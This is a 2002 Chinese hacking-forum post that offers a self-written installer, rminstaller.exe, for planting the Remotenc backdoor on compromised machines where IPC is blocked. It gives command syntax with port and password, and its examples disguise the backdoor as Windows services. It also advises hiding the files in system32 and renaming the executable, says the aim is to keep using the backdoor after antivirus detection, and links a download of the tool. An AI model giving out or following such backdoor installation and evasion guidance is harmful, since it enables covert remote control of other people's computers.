Meteor

级别:高级站友 威望:1 经验:0 货币:6 体力: 来源:CyberSpace 总发帖数:138 注册日期:2001-12-14
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
何谓remotenc的万能安装?
答:由于有时因为某些原因,入侵者可以上载文件上去肉机中去,但是可能ipc被禁止了,
而且由于remotenc这后门是需要ipc向远程复制文件的,这会导致安装remotenc这后
门的失败,但我写了一个小程序,这程序是rminstaller.exe,只要你可以上载文件上
去肉机中去,就可以安装Remotenc这后门,无论ipc是否开放。使用时要将文件全都
复制在肉机中同一个目录中去,最好就是在system32那目录了.
用法非常简单,你要将rminstaller.exe,instsrv.exe,remotenc.exe复制到肉机中去,然
后在命令行中执行:rminstall.exe "服务器名字" remotenc.exe 端口 密码
这里的"服务器名字",最好用引号引住,因为这样你的服务器名字中间是可以有空格的,
remotenc.exe这个文件你可以改名,但改名后,你需要更正你的安装语法,
例如你将remotenc.exe改名为abc.exe,那么安装的语法就是这样了 rminstaller.exe
"服务器名字" abc.exe 端口 密码
下面就给大家几个例子参考一下 1.rminstaller.exe
"Windows Killer Service" remotenc.exe 1234 password
2.rminstaler.exe "Windows Remotenc Service" abc.exe 1234
pass
(这里因为remotenc.exe被改名为abc.exe了,所以你要在写时输入abc.exe,而不是remotenc.exe)
我要声明一点就是,remotenc是小榕本人作品,instsrv.exe是win 2k resource
kit中的一个程序, 三个可执行程序中,只有rminstaller.exe是我写的,亦是一个20分钟程序,测试了一下,还算可以
,如果有什么问题的话,可以在论坛中发贴说明。
我写这个小程的原因主要是因为remotenc已被查杀了,但这个remotenc现在还没被查杀,或者将来亦
会被查杀,但至少可以让大家多用一会。
下载如下:
slackbot.no-ip.com/rminstaller.zip
[ 此消息由 Meteor
在 2002-04-04.10:58:19 编辑过 ] |